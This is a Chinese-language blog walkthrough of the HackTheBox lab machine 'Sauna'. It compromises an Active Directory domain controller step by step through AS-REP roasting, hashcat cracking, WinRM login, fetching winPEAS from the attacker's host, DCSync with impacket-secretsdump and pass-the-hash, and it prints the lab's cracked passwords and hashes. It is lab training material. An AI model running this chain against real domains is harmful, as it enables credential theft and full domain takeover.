Sauna Writeup

752 字
4 分钟
Sauna Writeup
Warning

仅供安全学习,环境均为本地虚拟机或 CTF 靶场。请勿用于未授权目标。

介绍#

  • HTB
  • 难度:Easy
  • OS: Windows
  • Writeup: 解锁

Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation.1

host 别名:htb


分析#

侦察#

nmap -A htb
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 15:42 +0800
Nmap scan report for htb (10.129.46.111)
Host is up (0.19s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-24 14:42:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Note

Account Enumeration reconnaissance (LDAP)

确认这是一台 DC(Domain Controller),有 Web 服务(80/TCP)。

AD 认证使用 Kerberos,AD 域名:EGOTISTICAL-BANK.LOCAL。

User Flag#

先用 windapsearch 试试:

windapsearch -d EGOTISTICAL-BANK.LOCAL --dc htb -m users

没有返回域对象,行不通。


注意到网站 http://htb/about.html 中泄露了员工的名字:

  • Fergus Smith
  • Shaun Coins
  • Hugo Bear
  • Bowie Taylor
  • Sophie Driver
  • Steven Kerb

写入 name.txt:

再用 username-anarchy 处理名字:

username-anarchy --input-file name.txt --select-format first,flast,first.last,firstl > username.txt
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -dc-ip htb -usersfile username.txt
Note

“NP” 即 “Non-Preauth” 不需要预认证。

得到 fsmith 的 AS-REP 哈希:

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2093ddd31e213611845ec0d64420edca$884aa7e07e8bf8eff5476e21644ef9c96b9fce8d375fc86997efb43b1910ff211f4781402b777e00f528aba8f73e8409b76ea9e1176feb411827febd7a9f47abd17bc08c36ad51e2f25be1885e24e7de31154ec5cd2c52693aa5ceaebe080901bfcb0a54736d51efb1024e7b27a2492017716a3a781af0d2018918f3a7eb68e65453487f425a15130d0c352f923a319b8faf4ab58a36551c1832678406a0c5122d4a8e2854ff525d6f11fd4f5e3bedfac1b23776463e48c7e1781b369df606279c381cab170eb48c681b59638fbec6526f44a550ac392d33e5d98c6fae9f8c83f31a722034ddabe9a65d543a4491c7ff28f13919b20a5f9751bb158c5cf01424

AS-REP (Authentication Service Reply) Roasting:


写入到 hash.txt:

echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2093ddd31e213611845ec0d64420edca$884aa7e07e8bf8eff5476e21644ef9c96b9fce8d375fc86997efb43b1910ff211f4781402b777e00f528aba8f73e8409b76ea9e1176feb411827febd7a9f47abd17bc08c36ad51e2f25be1885e24e7de31154ec5cd2c52693aa5ceaebe080901bfcb0a54736d51efb1024e7b27a2492017716a3a781af0d2018918f3a7eb68e65453487f425a15130d0c352f923a319b8faf4ab58a36551c1832678406a0c5122d4a8e2854ff525d6f11fd4f5e3bedfac1b23776463e48c7e1781b369df606279c381cab170eb48c681b59638fbec6526f44a550ac392d33e5d98c6fae9f8c83f31a722034ddabe9a65d543a4491c7ff28f13919b20a5f9751bb158c5cf01424' > hash.txt
Warning

由于 CVE-2026-424832,hashcat v7.1.2 的 Kerberos hash parser 会出现堆缓冲溢出,实测在 Windows 下会遇到 Salt-length exception 错误无法破解。

降级到 v7.1.1 即可。

使用 hashcat 爆破:3

hashcat -m 18200 hash.txt -o passwd.txt

得到密码:Thestrokes23


接下来使用凭证:

  • Username: fsmith
  • Password: Thestrokes23

通过 5985/TCP (WinRM) 登录到该用户:

evil-winrm -i htb -u fsmith -p Thestrokes23
Note
Error: Cannot establish connection to remote endpoint. Check credentials and network.
Error: NameError: uninitialized constant Net::NTLM::Client::SessionCrypto::CLIENT_TO_SERVER_SEALING

是 rubyntlm 0.6.7 的已知问题,更新以修复:

gem update rubyntlm

卸载旧版:

gem uninstall rubyntlm -v 0.6.7

检查:

gem list | grep rubyntlm

在桌面下找到 user flag:


Root Flag#

使用 winPEAS 枚举:

注意到该机器无法联网

先在 Kali 开 HTTP 服务器让 DC 下载 winPEASx64.exe(比 upload 更快):

Invoke-WebRequest -Uri http://10.10.14.195/winPEASx64.exe -OutFile winPEASx64.exe

执行:

.\winPEASx64.exe

注意到自动登录用户 EGOTISTICALBANK\svc_loanmanager:

密码:Moneymakestheworldgoround!

dir C:\Users 得知用户名:svc_loanmgr。

重新用该用户登录:

evil-winrm -i htb -u svc_loanmgr -p Moneymakestheworldgoround!

成功。


用 BloodHound 获取 AD 域信息:

采集

bloodhound-ce-python -d EGOTISTICAL-BANK.LOCAL -ns 10.129.46.111 -u svc_loanmgr -p Moneymakestheworldgoround! -c ALL

初始化数据库

bloodhound-setup
Note

注意 CE 版不用手动开 neo4j 数据库

默认用户名密码均为 neo4j,登录后需要先修改密码

sudoedit /etc/bhapi/bhapi.json

修改 secret 字段为 neo4j 的新密码。

随后启动前端

bloodhound-start

默认用户名密码均为:admin。

将得到的 .json 文件上传,然后搜索:

确认路径:

注意到 svc_loanmgr 可以通过 DCSync 导出管理员密码哈希:

impacket-secretsdump -just-dc-user Administrator 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneymakestheworldgoround!@htb'

得到 NTLM 哈希:823452073d75b9d1cf70ebdf86c7f98e

哈希传递(Pass-the-Hash)

evil-winrm -i htb -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e


References#

Footnotes#

  1. HTB - Sauna ↩

  2. CVE-2026-42483 ↩

  3. Hashcat Example hashes ↩

Sauna Writeup
https://nekoside.com/posts/sauna-writeup/
作者
nekoside
发布于
2026-09-30
许可协议
CC BY-NC-SA 4.0
文章目录